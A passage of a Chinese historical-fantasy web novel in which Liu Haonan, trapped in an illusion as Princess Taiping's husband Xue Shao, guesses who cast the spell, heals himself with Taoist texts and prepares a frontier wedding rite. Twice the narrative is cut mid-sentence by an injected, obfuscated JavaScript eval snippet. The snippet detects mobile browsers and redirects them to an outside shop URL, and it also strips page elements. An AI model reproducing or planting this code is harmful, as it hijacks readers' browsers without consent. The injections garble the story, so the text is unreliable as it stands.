刘皓南浑身僵直如铁,额角瞬间沁出细密的冷汗,后背衣衫尽湿。他拼命在脑海中搜索薛绍的生平记载、野史传闻,何曾有过什么悬崖秋千、金钗坠涧的荒唐记载?!这分明是太平公主将她与某个身份不明、但定然更为狂野不羁的“情人”之间的隐秘体验,甚至可能是她内心深处某种极致追求刺激的幻想,嫁接、混淆到了“薛绍”这个丈夫身上!在这个由她潜意识(或被篡改的记忆)主导的幻境里,她的“记忆”就是“真实”!而她此刻提起,是试探?是暗示?还是……另一种形式的嘲讽与施压? 正心神剧震、几欲吐血之际,一个小小的身影如皮球般“滚”了进来——是幻境中他名义上的儿子,六岁的薛崇简(刘朔)。这孩子目光机警地迅速扫过满地不宜的画卷,又飞快地掠过父亲惨白如纸、摇摇欲坠的脸色,小脸上努力维持着镇定,上前一步,规规矩矩地拱手行礼,声音清亮:“母亲安好!祖父忽犯心口疼,太医正在诊治,祖父急着寻父亲去商议针灸缓解之法,遣孩儿来请父亲速去!” 太平公主闻言,慵懒地挥了挥手,目光却仍流连在刘皓南脸上,仿佛在欣赏他强自镇定的窘迫:“即是父亲有命,薛郎且去罢~” 就在刘皓南如蒙大赦,正要转身之际,她却突然伸出指尖,冰凉而滑腻,轻轻划过他因紧握而青筋微露的手掌,带起一阵战栗,同时压低了声音,用只有两人能听到的气音轻笑:“今夜……本宫忽然想听你吹奏……那年你来府中求亲时,在月氏商队学来的那支……羚骨笛。要原汁原味的……草原调子。” 最后一个词,她咬得极轻,却带着不容置疑的意味。 东暖阁内,药香与熏香混杂。凌霄子正没个正形地翘着二郎腿,啃着一块水淋淋的香瓜,瓜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185075|196997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汁顺着胡子滴下来也浑不在意。听完刘皓南强压惊悸、尽量平复语气转述那虚空女声的言语后,他啃瓜的动作猛地顿住,瓜皮掉在地上。 “等等!” 凌霄子猛地坐直身体,脸上惯有的嬉笑之色瞬间敛去,变得凝重无比,甚至带着几分惊疑,“你再说一遍那婆娘最后骂人的口气——‘北汉蛮子’、‘遮遮掩掩’、‘笑破肚皮’、‘寡淡无味’……还有那种气急败坏、恨铁不成钢的劲头……” 他捻着自己稀疏的胡须,眼神锐利如鹰,沉吟道:“这泼辣狠戾、直戳肺管子的腔调,这高高在上、视礼法如无物的做派,倒与当年老夫在江湖上偶遇聂隐娘那凶婆娘、不小心招惹了她、被她提着剑追砍了三条街时,她边骂边打的口气有七八分相似!只是……” 他眉头紧锁,露出深深的困惑,“聂隐娘那婆娘,剑术通神,性子是烈,杀伐果断,但据老夫所知,她避世修行近一甲子,早不过问凡尘俗事。若真是她插手布下此阵,以其心性手段,这幻境应是剑气纵横、杀机四伏的刚猛路子,不该是眼下这般……这般……” 他似乎在寻找合适的词汇,“这般极尽奢华靡丽、又于细节处阴柔刁钻、专门折磨人心、消磨意志的鬼蜮伎俩!” 凌霄子越想越觉不对,蘸了杯中凉茶,在紫檀木案几上画了一个简略的狼首符纹(代表契丹或北方游牧风格),又在其周围添了几道交错繁复、充满宫廷华丽装饰风格的纹路。他指尖点着那华丽的纹路,沉声道:“你再细想,此阵从入口的皇家规制,到内里一饮一食的考究,殿宇陈设的奢靡,歌舞乐律的完备,乃至对太平公主饮食起居、性情癖好、甚至……某些隐秘风月记忆的了解程度,精细到了令人发指的地步!这绝非寻常方士或江湖术士能为!能有此手笔,能对宫廷生活、对太平公主了如指掌至此的……” 他猛地抬头,眼中精光爆射:“怕只有那位曾长年随侍武后、执掌宫中诏命、与太平公主一同长大、情同姐妹、自身也以文采风流著称的上官婉儿!只有她,有能力、也有动机,布下如此一个依托于太平记忆与欲望、极尽真实与奢华的幻境来困魂!但是,” 他话锋一转,指尖重重敲在狼首符纹与华丽纹路的交界处,茶水四溅,“这阵中处处透出的那股子狠戾、刁钻、玩弄人心于股掌、稍不顺意便施以酷烈惩罚的劲儿,还有那咒印吞噬不满情绪、遇不合格‘欢愉’反噬加深的阴毒特性……却更似另一个人的手笔!” “安乐公主!” 刘朔(薛崇简)不知何时悄悄跟了进来,此时突然插嘴,小脸上是与年龄不符的冷肃,“史载安乐公主李裹儿,骄纵跋扈,索要‘皇太女’之位不得,便怀恨在心,行事不择手段。她曾逼大臣当众脱衣取乐,其心性之酷烈、作风之刁钻,与排风姑姑所中咒术的狠毒特性,如出一辙!而且,她与太平姑姑虽是姑侄,但后期因权势争斗,早已势同水火!她完全有动机,在旁人困住太平姑姑意识(或相关之人)的幻境中,偷偷加入更恶毒、旨在最终彻底毁灭的咒术!” 凌霄子重重点头,脸色阴沉得能滴出水来:“如今看来,情况恐怕比我们想的更复杂!上官婉儿可能出于某种原因(或许是保护,或许是困缚),以自身对太平的了解和宫廷秘法为基,布下了这个奢华庞大的‘太平公主府’幻境,将排风的意识困于其中,化作‘太平’。而安乐公主,则可能趁机暗中插手,在此阵核心添加了那歹毒无比的‘噬情咒’或其他变种,她的目的很可能是要借太平的‘不满’,最终彻底吞噬、毁灭被困的魂魄!甚至……” 他压低声音,带着寒意,“那聂隐娘,若真与她有什么我们不知道的关联,或是因其他缘故被卷入,以其通天手段,在此阵中做些手脚、施加影响,也未必不可能!这幻境,怕早已不是一方势力所为,而是成了多方角逐、各怀鬼胎的棋局!排风,就是这棋局中最危险的棋子!” 刘皓南听得瞳孔骤缩,寒意从脊椎骨窜起。他想起那夜揽月轩中,自己失控流露出属于契丹武士的野性时,咒印曾短暂消退。他想起史书中关于唐朝贵女面首的记载,从狂野不羁的胡僧辩机,到出身市井、野性难驯的薛怀义……再看向地上那幅带有契丹狼首徽记的春宫图——原来,他苦苦模仿、求而不得的“钥匙”,或许根本不在“薛绍”这个身份的风流形貌之下,而早就在他自己身上,在那被宋人礼仪深深压抑的、属于刘皓南本真的、来自草原与战场的野性与生命力之中!但此刻,他心底却一片雪亮,并无丝毫喜悦:继续模仿他人,无论是薛绍,还是臆想中的“风流模板”,都终是死路一条。唯有彻底跳出所有他人设定的框架,方有一线生机。 暮色渐沉,夕阳的余晖为公主府镀上一层哀艳的金红。刘皓南独立于暂居的偏殿窗前,手中缓慢而仔细地擦拭着一管颜色泛黄、触手温润的骨笛——正是太平日间提及的“羚骨笛”。当他指尖抚过笛孔边缘一道深深的、陈旧的血痕(据幻境记忆,是薛绍少年时于草原猎狼,与狼群搏斗所留)时,眸光沉静如万古深潭,所有的惊怒、羞耻、彷徨、算计,仿佛都在这沉静中沉淀了下去。 他不再急于构思今夜该如何“表演”以取悦太平,不再反复推敲哪个姿态、哪句情话更符合“薛绍”或“风流”的标准。他甚至不再去想那诡异咒印,不再去想那虚空女声的威胁,不再去想这幻境背后可能盘根错节的三方势力。 他只是静静地擦着笛子,然后将它缓缓收入袖中。动作平稳,没有丝毫犹豫。 月色悄然浸透窗纱,一片清冷。刘皓南抬眸,望向远处太平公主寝殿的方向,那里灯火通明,丝竹隐约。他薄削的唇角,掠过一丝极淡、却冷峭如冰刃的弧度。 下一局棋,他不再做任人摆布的棋子,也不做模仿他人的拙劣戏子。他要以身为子,赌一场真正的破局。而这场生死赌局的开端,便是——彻底的静默,与等待。等待一个,只属于刘皓南的时机。 48. 两处闲愁 辰时光影斜斜穿过茜纱窗,在书房青砖地上切割出明暗交错的几何图形,浮尘在光柱中无声飞舞。刘皓南静立于十丈高的紫檀木书架前,身形挺拔如松,目光却沉静如渊。他指尖拂过一册《黄帝阴符经》的楮纸封面,纸张触手温润坚韧,墨香混着陈年书卷特有的气息。翻开,书页间赫然夹着一张泛黄的、以极细墨线绘就的“斗转星移”阵法图,旁有朱砂小字批注,笔力遒劲,风骨嶙峋,正是袁天罡亲笔——这并非幻境虚造,而是他从书阁深处尘封的秘匣中寻得的真迹残片。谁能想到,一代玄学宗师推演天机、布阵演星的秘本,此刻竟成了他在这诡谲幻境中,调理因强施禁术追溯自身(北汉刘氏皇孙)沙陀血脉之秘、而遭李淳风所设星衍大阵反噬所成内伤、艰难修复丹田经络的依凭。他将呼吸节奏调整得极其缓慢悠长,暗合图中星斗运行轨迹,感受着胸腹间那股因血脉逆冲、禁制反噬而留下的、如星火灼烧经脉般的刺痛,在古老阵图的引导下,一丝丝被抚平、归位。 沉香木书架的阴影浓重如墨,将他半边身形笼罩。刘皓南以银针蘸取研磨细腻的朱砂,在一卷《太白阴经》的残破边页上,仔细标记着复杂的人体经脉走向与气血流转关窍。自踏入这真假难辨的幻境,那因强行追溯自身沙陀刘氏可能潜藏的血脉之秘、触动李淳风所布守护大阵而遭到的反噬,如同附骨之疽,日夜啃噬着他的根基。然而,这危机四伏的公主府,却也阴差阳错地成了他疗伤的宝库。他竟在成玄英亲笔注解的《道德经》抄本“冲气以为和”篇章的字里行间,寻到了一段极为精微的、关于调和体内阴阳冲突、导引先天一炁修复受损经脉的秘法,与袁天罡的星图隐隐呼应。他每夜子时,于庭院僻静处,按北斗方位趺坐调息,引动这幻境中虽虚妄却充沛的天地灵气(或许是布阵者力量的一部分),受损枯竭的丹田竟如久旱逢甘霖的枯木,渐渐萌发出一丝微弱却坚韧的生机。他在刀尖上行走,一边如饥似渴地从这些珍贵的唐代原典中汲取养分、修补己身,一边又必须将这些疗伤举动,完美隐藏在“驸马薛绍”日常读书、处理公务的合理外衣之下。 李尚宫垂手侍立在寝殿珠帘外,向正在用纤细指尖拨弄一套水晶七巧板的太平公主低声禀报,声音清晰却恭谨:“启禀公主,驸马卯时三刻于西苑练枪,辰时正乘马车入兵部应卯,午后未时返回,便一直待在书阁,校勘公文,翻阅典籍,直至戌时方歇。”太平捏着一块棱角分明的水晶,指尖无意识地在光滑的棱角上摩挲,目光却有些飘远。她想起七日前,揽月轩中那个汗水淋漓、□□、滚烫的脊背紧紧贴在她掌心的夜晚——那种鲜活、霸道、近乎掠夺般的炽热,与眼前这个作息规律、言行合度、连她新裁的、那袭石榴红联珠纹绞缬绸裙都懒得多看一眼的“薛绍”,判若两人。这种无端的、刻意的、找不出任何错处的冷淡与疏离,比直接的厌恶与抗拒,更让她心慌,像是一拳打在了棉花上,无力又憋闷。 英王府韦孺人(即英王李显宠妃韦氏,太平公主的嫂嫂)踏雪来访那日,怀里揣着的鎏金翔鹭纹铜手炉,镂空的网罩上结了一层薄薄的霜花。她坐在铺着厚厚貂绒的坐榻上,捧着热茶,眼风似不经意地扫过书阁雕花长窗上映出的、那个伏案疾书的挺拔侧影,对太平轻笑,声音带着世家贵妇特有的、绵里藏针的调子:“薛驸马如今这般勤勉克己,醉心公务,倒衬得我家王爷(指英王李显),越发像个只会清谈宴游的闲人了。”她顿了顿,抿了口茶,“听说他前日呈给兵部的那份《驿传改制策》,条分缕析,切中时弊,虽只是弓弦司主事的分内之务,却连素来严苛的李尚书都在朝会后私下赞了一句,‘颇得李卫公兵法运筹之要,后生可畏’。也难怪当年陛下 那般看重,为妹妹择了这门佳婿。” 她言语间,将薛绍的“勤勉”与李显的“闲适”对比,又提及高宗李治的赏识,语气微妙。 太平正以一根银簪,漫不经心地拨亮琉璃盏中的灯花,闻言,指尖几不可察地顿了一下,灯火随之摇曳。她脸上没什么表情,只淡淡道:“嫂嫂说笑了。不过是些案牍劳形的琐事,值当什么。陛下不过是看他家世清贵,人还稳重罢了。” 她将“稳重”二字,咬得微重,似在强调,又似在咀嚼。 “案牍劳形?”韦孺人放下茶盏,拿起丝帕按了按唇角,笑容更深,眼底却没什么温度,“殿下可莫要小看了这案牍。案牍也能成事,于无声处。”她抬眼,目光仿佛能穿透窗纸,看清里面那个人,“长安城里,谁不赞薛驸马风仪出众,允文允武?殿下若总这般……由着他埋首公务,不闻不问,只怕外头那些眼睛,都盯着这‘主事夫人’的位子呢。这般的佳婿,可是稀罕物。” 她巧妙避开了“龙章凤姿”这等可能引人生疑的僭越之词,但“风仪出众,允文允武”的夸赞,在此时语境下,暗示之意已足够明显,更将话题引向了“外头那些眼睛”,暗指薛绍的出众可能引来觊觎,言语间,既捧了薛绍,又隐隐刺了太平的“不闻不问”。 太平眼波未动,只将那水晶七巧板轻轻搁在案上,发出清脆一声响:“外头的眼睛,自有该管的人去管。嫂嫂今日来,就为说这个?” 夜半时分,万籁俱寂,唯有更漏滴答。锦衾厚重,翻涌如潮。太平公主睡相素来不甚安稳,此刻中衣的系带已散开大半,露出一截莹润的肩颈,温软的足心无意识地蹭过刘皓南的膝窝,带来一阵酥麻。刘皓南几乎是瞬间惊醒,身体先于意识做出反应,肌肉绷紧,欲不动声色地抽身避开,却被她一个翻身,整条手臂压住——这迷糊中寻找依偎、喜欢贴近热源的睡姿,分明是杨排风夜难成寐、缺乏安全感时的习惯! “太……”他险些脱口唤出那个深藏心底的名字,齿关猛地咬紧,舌尖尝到一丝铁锈般的腥甜,硬生生将后面两个字咽了回去。指尖在黑暗中颤抖着抬起,在距离她裸露腰肢半寸处骤然停住,仿佛被无形的火焰灼伤。最终,他只是极其缓慢、轻柔地将滑落至她臂弯的丝绒锦被,一点点拉高,仔细拢回她的肩头。清冷的月光浸透轻薄的鲛绡帐,洒在她沉睡的侧颜与颈间,那里渗出一层细密的薄汗,在月光下如清晨荷叶上的露珠,随着她细微的呼吸起伏,每一寸细腻的肌理,每一道柔和的曲线,都在无声地挑战、拷问着他连日来借助道藏兵书苦修、强压下的定力与克制。 某日,他因兵部事务结束得早,提前回府。穿过三重寂静的月门,行至西跨院专为幼童开设的“幼学斋”外,隔着雕花木窗,见太平正执着“薛崇简”(刘朔)的小手,一笔一划地教他认《急就篇》上的字。在太平被篡改的认知中,眼前是她六岁稚子临帖描红的天伦之乐;而在刘皓南刺痛的双眼中,看到的却是身形明显抽条、肩背已隐隐现出成年男子轮廓的十五岁少年,被强按在矮小的童子书案前,握着对他来说过于短小的毛笔,笨拙地描着“急就奇觚与众异”的笔画。那少年手指关节分明,却不得不蜷缩着握住那支小儿习字的短笔,喉间挤出童谣般清脆的诵读声:“汉地广大,无不容盛……”可那声线,分明已处于变声期的沙哑边缘,强行模仿童音,带着令人心酸的扭曲。 “阿爷!”少年(刘朔)瞥见窗外的他,眼中飞快掠过一丝如释重负,随即扬起属于“六岁孩童”的、刻意天真的笑容,跑过来拉他的衣袖,动作间带着这个年龄孩子特有的、但又因身体不协调而放大的笨拙与试探,“先生今日夸我念得比英王家重俊还流利!” 刘皓南喉头一哽,伸出手,本能地想如往常般拍拍儿子日益宽厚的肩膀,手伸到半途,却在太平含笑注视的目光下,硬生生转为僵硬的、将少年整个搂入怀中的拥抱——在太平看来,这是父子间再寻常不过的亲昵;而只有刘皓南自己知道,臂弯触及的,是少年已开始舒展的、骨骼分明的肩背触感。当他微微用力,试图将这“六岁”儿子如往常般抱起时,臂弯猛地一沉,那重量绝非幼童,让他手臂几不可察地颤抖了一下。这沉,并非完全源于少年真实的体重,更是源于这荒诞绝伦的、横亘在认知之间的巨大鸿沟所带来的、心灵上的沉重撞击。 太平抬头,朝他盈盈一笑,目光温软:“薛郎你看,朔儿近日总嚷着腿酸,夜里有时还抽筋,怕是长得太快了,明日得让膳房多备些乳酪骨汤才好。” 刘皓南对上怀中少年(刘朔)低垂的眼帘下,那一闪而过的、属于十五岁少年被迫扮演稚子、尊严被践踏的窘迫与隐忍。他心如刀绞,却只能强迫自己移开视线,对太平平稳道:“臣前日恰得了一方虢州旧坑的澄泥砚,石质细腻,发墨如油,明日便送来给公主试墨可好?” 他刻意忽略的,不仅是太平眼底那因“父子天伦”而漾起的、满足而柔软的水光,更是少年袖中,因极度隐忍而攥得骨节发白、微微颤抖的拳头。 那日后,刘皓南越发埋首书阁与兵部公务,几乎到了废寝忘食的地步。这日,太平终于按捺不住心底那股越烧越旺的无名火与憋闷,径直闯入了书阁。她进来时,刘皓南正在临摹褚遂良的《阴符经》,笔下铁画银钩,力透纸背,仿佛要将所有情绪都倾注于笔墨之间。 “薛郎笔力倒是越发峻峭了,”太平的声音在他身后响起,听不出喜怒,只带着一丝慵懒的挑剔,“可惜,失之刻板,少了些……活气。”说话间,她已伸出纤纤玉手,猝不及防地抽走了他刚刚写就、墨迹未干的宣纸。 刘皓南执笔的手稳如磐石,连笔尖都未曾颤动一下,一滴饱满的墨汁悬在毫尖,将滴未滴。他缓缓搁笔,抬眸,目光平静地看向她。然而,当他的视线不经意掠过她因动作而微敞的衣领,瞥见那一小片莹润肌肤和精致的锁骨时,眸色骤然暗沉下去,如同风暴将至前的深海。他并未立刻回应她的挑衅,反而在短暂的沉默中,向前迈了半步。距离骤然拉近,他身上清冽的松墨气息混合着男子特有的体温,瞬间侵入她的感官。他目光沉沉地锁住她,带着一种属于久居上位、惯于掌控的、不动声色的压迫感,声音压得低而缓,字字清晰:“公主是嫌臣……近日太过规矩,失了趣味?” 太平被他这突如其来的靠近和直白的反问噎住,脸颊微热,却强撑着迎上他的视线,咬牙道:“是又如何?” 刘皓南嘴角似乎极轻微地勾了一下,那弧度几不可察,却无端透出一种近乎戏谑的危险。他非但不退,反而微微倾身,薄唇几乎要擦过她泛红的耳廓,灼热的气息拂过她敏感的肌肤,声音低沉如耳语:“臣若……不想再‘失之刻板’,” 他刻意顿了顿,目光扫过她因紧张而微微起伏的胸口,又落回她强作镇定的眼眸,“只怕公主……承受不起。” 太平呼吸一窒,身体不由自主地僵住,耳根瞬间烧得通红,心头鹿撞,竟一时说不出话来。她从未见过这样的“薛绍”——褪去了那层温文守礼的伪装,展露出近乎野蛮的侵略性和掌控欲,却又精准地停在她防线崩塌的边缘。 然而,就在她以为他会更进一步时,刘皓南却倏然后退了三步,拉开一个恰到好处、无可指摘的距离。他躬身一礼,姿态恢复了一贯的从容不迫,仿佛刚才那充满侵略性的低语从未发生,语气平稳克制:“公主见谅。只是礼制不可废,人言更可畏。臣既为驸马,自当谨守本分,为公主,亦为薛氏门风计。这字,还是虞体更合规矩。” 说罢,他从容地拾起被她丢在地上的那张字,看也未看,便收入袖中,仿佛那只是一张无关紧要的废纸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“武娘子好意,薛某心领。”刘皓南声音平淡无波,听不出喜怒,目光甚至没有在那锦囊上多停留一瞬,“弩机校准,乃兵部要务,自有章程。薛某职责所在,不敢擅专,亦不敢私相授受。至于分说,薛某但凭圣心,为朝廷效力,不劳费心。告辞。” 他刻意点出“圣心”和“不劳费心”,语气斩钉截铁,隐含“我之进退,唯陛下一人可决,无需他人置喙”的疏离与警告。说罢,不等对方反应,已转身离去,衣袂带起微风,拂动柳枝,那锦囊在枝头微微晃动,显得突兀又可笑。武灵觉脸上的笑容僵住,眼中闪过一丝羞恼与寒意。 当夜,书阁烛火长明。刘皓南展开另一卷偶然寻得的《推背图》残页,其上谶语晦涩,然“帝传三世”四字旁,却有一行极淡的、仿佛以血混合朱砂写就的批注,墨色暗红近黑:“结璘(月之别称)星暗,太微垣(天帝南宫)中,紫薇偏移,客星犯主。” 他凝视着这行小字,手指无意识地在“客星”二字上摩挲,眸色深不见底。此刻高宗李治虽身体欠安,但仍是天子,与武后并称“二圣”,这“紫薇偏移,客星犯主”的星象所指,在这幻境中又预示着什么?与他自身沙陀刘氏那可能存在的、与李唐皇室纠缠不清的血脉谜团,是否有关? 太平公主开始更频繁地出席长安各处的诗会、游宴。当她在长宁公主府的水榭中,面对满池残荷,以一把清越中带着幽怨的嗓音,咏出“几日行云何处去?忘却归来,不道春将暮。百草千花寒食路,香车系在谁家树……泪眼倚楼频独语。双燕来时,陌上相逢否?撩乱春愁如柳絮,依依梦里无寻处”时,字字句句,皆是冯延巳的闺怨之词。而彼时,刘皓南正在西苑校场,以《李卫公兵法》中记载的弩阵布局,验证新制弓弦的力度与射程。箭矢破空的尖啸声中,他仿佛听见自己胸腔里,心脏如战鼓般沉重擂动——那诗句中无处寄托的春愁与幽怨,分明是隔空刺向他的、淬了毒的软刀,控诉着他的“冷落”与“不归”。但他只是将手中强弓拉得更满,目光锐利如鹰隼,仿佛要将所有的焦灼、隐忍与无力,都灌注于这撕裂空气的一箭之中。 暮色如血,渐渐染透书阁的窗棂。刘皓南仍端坐案前,就着最后一缕天光,校勘着一份前人注释《孙子兵法》的疏议。一阵不知从何而来的穿堂风,忽地翻动案头书页,露出里面不知何时被人夹入的一页簪花小笺。熟悉的清丽字迹,写着:“闻薛郎近日精研驿传改制,案牍劳形。妾偶得古本《卫公问对》一卷,内有李药师与太宗论驿传兵事数则,或可佐证。长夜漫漫,薛郎可愿拨冗,共校一二?” 墨迹在“共校”二字旁有细微的晕染,恰似……恰似几日前,她意乱情迷时,指尖无意识在他后背划下的、那道早已淡去却烙在记忆里的红痕。 更漏滴滴答答,滑过子时。红罗帐中,暗香依旧浮动。太平在睡梦中翻了个身,小腿无意识地从锦被中滑出,温腻的肌肤蹭过他的腰侧,柔软的足跟不偏不倚,抵在他膝弯。刘皓南身体瞬间僵直如铁,在浓稠的黑暗中睁着眼睛,直到窗纸透出朦胧的青白色。这一夜,他既要调动全部意志克制身体本能的反应,又要分神注意她的睡姿,防止她在无意识中滚落榻下,更要凝神细听,远处西跨院的方位,是否会传来少年(刘朔)压抑的、属于成长烦恼的、或对现状无力无奈的低低叹息。这一夜的僵持与煎熬,比他连续演练七曜阵法、疏导内息更耗心神。只因怀中是认知被彻底篡改、将他视为夫君却感受着他冰冷抗拒的妻子,而隔着重门深院、在无知无觉中将他当作“阿爷”依赖的,是身体被迫囚于童稚、灵魂却在痛苦成长的骨肉。他困守于此,进退维谷,救不了眼前的“妻子”,也解不了暗处的“儿子”,只能在这精致的牢笼里,独自咀嚼这无边无际的无奈与苦涩。而他内心深处,那份关于自身血脉与这李唐盛世、乃至这诡异幻境之间可能存在的隐秘联系的疑虑,也在夜深人静时,悄然滋生,盘旋不去。 49. 以他之名,娶你为实 自那日书阁近乎失控的、带着侵略性的对峙后,刘皓南对太平的态度似乎并未“回暖”,反而愈发沉入公务与故纸堆,晨昏定省一丝不苟,夜夜同榻却恪守“君子之礼”,那层温文守礼的壳愈发坚硬完美,无懈可击。太平心头的憋闷与隐隐的不安,如同被文火慢炖,渐渐煎熬出难以言喻的焦躁与一丝不易察觉的委屈。她开始频繁出入长安贵戚的诗会游宴,用丝竹管弦、锦绣喧嚣来填补某种空洞,甚至在某次宫宴上,对母亲武后半是玩笑半是抱怨地提起:“薛郎近日,怕是只认得兵部的公文与库房的弓弦了。” 消息辗转传入刘皓南耳中时,他正对着一卷偶然翻出的、绘有代北古老婚仪祭祀场面的残破壁画摹本出神。画中青庐简陋,燎火熊熊,新人身着朴素的皮裘与粗布,围绕火堆与牺牲舞蹈,姿态狂放,眼神却虔诚炽热。那画面击中了他心底某个尘封已久的角落——当年在宋辽边境那个风沙交加的小村落,他与排风,天地为证,一杯薄酒,几句誓言,便算礼成。没有三媒六聘,没有凤冠霞帔,连一身像样的红衣都是借来的。那时他是身负血仇的北汉末代皇孙,她是毅然追随、无惧无悔的杨门女将,乱世烽火中,能彼此拥有已是奢望,何谈仪典?可那份藏在心底的、属于刘氏子孙对明媒正娶、昭告先祖的渴望,对给予挚爱一场盛大婚仪的亏欠,从未真正平息。如今,在这荒诞的幻境中,顶着“薛绍”的皮囊,面对的虽是记忆全非的“太平”,可那躯壳里跃动的,终究是排风的魂灵。他给不了她真正的北汉皇孙大婚,但或许,能借这“薛绍”的身份,这盛唐的规制,偷换些许概念,补上一场迟来的、只属于他们二人理解的“礼”。 决心既下,行动便雷厉风行。他召来李尚宫,开口便是:“后园东北角那一片姚黄魏紫,移了。辟出空地,本宫要搭一座青庐。” 李尚宫正在核对公主春装的料子单子,闻言手一抖,差点划破了珍贵的吴绡记录。她抬起头,保养得宜的脸上是恰到好处的惊愕与为难:“驸马,这……后园牡丹皆是珍品,有些还是皇后殿下赏下的,贸然移走,恐……恐伤了地气,也负了皇后殿下美意。再者,”她斟酌着词句,声音压得更低,“公主大婚时,用的是九重锦帐,缀以明珠、悬以珊瑚,那才是合乎礼制的婚仪正帐。这青庐……”她顿了顿,到底没把“边鄙粗俗之物”说出口,但眼神已表明一切。 刘皓南正在用银针蘸取朱砂,在一张摊开的、绘有复杂星宿轨迹的羊皮上勾勒,闻言头也未抬,声音平淡却不容置疑:“李尚宫,公主近日心绪不佳,你当知晓。” 他停下笔,抬眸看她,那目光沉静,却带着久居上位者不容置喙的压迫感,“本宫查阅薛氏族谱,代北旧俗,新婚若因故未能行全礼,可于日后补行‘燎火共牢’之仪,以全夫妇之义,祈家宅之宁。此乃古礼,亦是孝道。至于牡丹,”他语气微缓,却更显深意,“花木移栽,精心养护便是。皇后殿下若问起,便说公主近日梦魇,需借青庐松柏之清气安神,亦是驸马一片为妻祈福之心。有何不妥?” 李尚宫哑然。驸马搬出了“祖籍旧俗”、“古礼孝道”、“为妻祈福”,句句在理,且将可能来自武后的质询都预先堵了回去。她看着驸马沉静的侧脸,想起公主近日眉宇间挥之不去的郁色,以及那日书阁隐约传来的争执……莫非,驸马这看似离经叛道的要求,并非任性胡闹,而是变着法儿地想哄公主开心,弥补近日“冷落”?虽说这法子古怪了些,但若真是夫妻间的情趣……她心思电转,终是垂下眼:“是,奴婢这就去办。只是……青庐规制、所需物事?” “按此单准备。”刘皓南递过一张早已写好的清单,上面罗列着:新伐松柏枝、整只未阉割的健壮白羊、陈年黍米、特制黍酒三十坛、玄色熟牛皮、赤金笺、白虎皮一张、五色丝、赤蜡十二枝……林林总总,看似杂乱,却隐隐指向某个完整的仪式。 李尚宫越看越心惊,这哪里是长安贵戚的做派?倒像是……军中犒赏与边地婚俗的混合。但她不敢再多问,只低头应诺:“奴婢遵命。只是……这白羊,是否过于腥膻?是否改用更精致的鹿肉或……” “就要白羊。”刘皓南打断她,语气斩钉截铁,“代北旧俗,取‘阳德充沛,家族炽盛’之意。公主那里,本官自会分说。你只需按单备齐,不得有误。” 他语气中的笃定与隐隐的、不容置疑的权威,让李尚宫将所有劝谏的话都咽了回去。或许,驸马真有办法让公主展颜?她默默退下,心中暗忖,只要不逾矩太过,随他们夫妇闹去罢。 接下来的几日,公主府后园一角被严密围起,不许闲杂人等靠近。刘皓南亲自监督,他不再只是那个埋首书案的“薛主事”,而是变回了那个曾经执掌辽国军政大权、令行禁止的辽国国师。指挥若定,细节苛刻。 他命人将选中的、枝干粗壮遒劲的松柏,以特定的角度和方式捆扎,搭建成一座虽不华丽却异常稳固的青庐。搭建时,他亲自调整了几处关键榫卯的角度,旁人只觉驸马严谨,却不知那暗合了某种简易的防御阵型。 他让工匠连夜赶制十二领特制的玄色皮甲。甲片是军中常见的款式,但连接皮甲的熟牛皮绳,其编织方式与打结手法,却被他以“更牢固”为由,亲自示范修改。每一道绳结的走向,每一处甲片的叠压,都隐约构成一个扭曲的符号——那是他记忆中,北汉刘氏大祭司在重要祭祀时,用于祈福驱邪的古老符文,被他巧妙地化入了甲胄的实用结构之中。当这十二领玄甲最终被悬于青庐周围的槐树枝桠时,夜风吹过,甲叶相击,发出的不是零散的哗啦声,而是一种低沉、浑厚、带着奇异韵律的共鸣,仿佛古老的战歌前奏。 他甚至亲自校验了那三十坛黍酒,拍开一坛的泥封,浓郁的酒香夹杂着黍米特有的甘甜气息扑面而来。他舀起一勺,在鼻尖轻嗅,又浅尝一口,闭目片刻,对忐忑等待的掌酒内侍道:“火候尚可,但窖藏时日不足,烈性稍欠。取我书房那个紫檀匣来。” 内侍捧来匣子,刘皓南打开,取出几个小小的油纸包,里面是研磨成细粉的不同药材。他按照记忆中的比例,将药粉逐一加入酒坛,手法稳定精准。“此乃代北古方,加入酒中,可助行气活血,抵御夜寒,亦合婚仪‘暖情长久’之意。” 他淡淡解释,无人敢质疑。只有他自己知道,那几味药材调和后,有宁神安息、舒缓经络之效,是他为“杨排风”那总是紧绷的、即使在睡梦中也仿佛随时准备跳起来御敌的身体,准备的一点隐秘关怀。 一切准备停当。燎火用的枣木柴堆得整整齐齐,白虎皮铺在青庐内散发着野性的气息,赤金笺婚书上的墨迹是他亲手研磨上好的松烟墨书写,力透纸背。刘皓南独自立于即将点燃的燎火堆前,指尖抚过粗糙的枣木纹理。当年仓促成婚,连像样的柴火都没有,用的是潮湿的树枝,烟大火小,呛得排风直咳嗽,却还笑着帮他扇风……他闭上眼,深吸一口气,再睁开时,眼底只剩下沉静的、势在必行的光芒。 于是,便有了太平踏入后园时,所见的那一幕冲击——粗犷的青庐,冲天的燎火,炙烤的全羊,列阵的玄甲,以及立于火旁、仿佛与这原始野性场景浑然一体的刘皓南。 